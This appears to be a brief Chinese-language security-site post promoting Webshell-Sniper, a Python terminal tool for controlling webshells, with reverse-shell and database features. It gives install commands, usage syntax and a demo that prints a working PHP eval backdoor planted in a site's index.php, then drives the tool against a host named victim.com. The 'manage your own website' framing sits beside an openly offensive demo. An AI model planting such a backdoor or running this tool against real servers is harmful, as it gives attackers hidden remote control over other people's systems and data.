Webshell-Sniper是一款使用Python編寫的基于終端的Webshell管理器,和以往我們分享的Webshell管理工具有所不同,所有操作都在終端中完成。使用它可對您的網站進行遠程管理。雖然它沒有圖形化的GUI也沒有WEB界面,但這樣的操作也是另有一翻感覺。
功能
- 基于終端的shell交互
- 反向連接shell(這就能做非常多的事了)
- 數據庫管理

Webshell-Sniper安裝與使用
環境
服務端 : Linux python 2.7 客戶端 : apache 2.4 php 7.0
需要注意的是,Webshell-Sniper服務端只支持Unix系統環境。
安裝
git clone https://github.com/WangYihang/Webshell-Sniper cd Webshell-Sniper pip install -r requirements.txt
使用
Usage :
python webshell-sniper.py [URL] [METHOD] [AUTH]
Example :
python webshell-sniper.py http://127.0.0.1/c.php POST c
# Demo
# cat /var/www/html/index.php
eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...
Webshell-Sniper視頻演示
https://www.youtube.com/watch?v=iAUwb8SSS4shttps://asciinema.org/a/130893
betasec
關鍵基礎設施安全應急響應中心
中國信通院CAICT
系統安全運維
看雪學苑
安全圈
系統安全運維
安網城
LemonSec
安全內參
LemonSec
LemonSec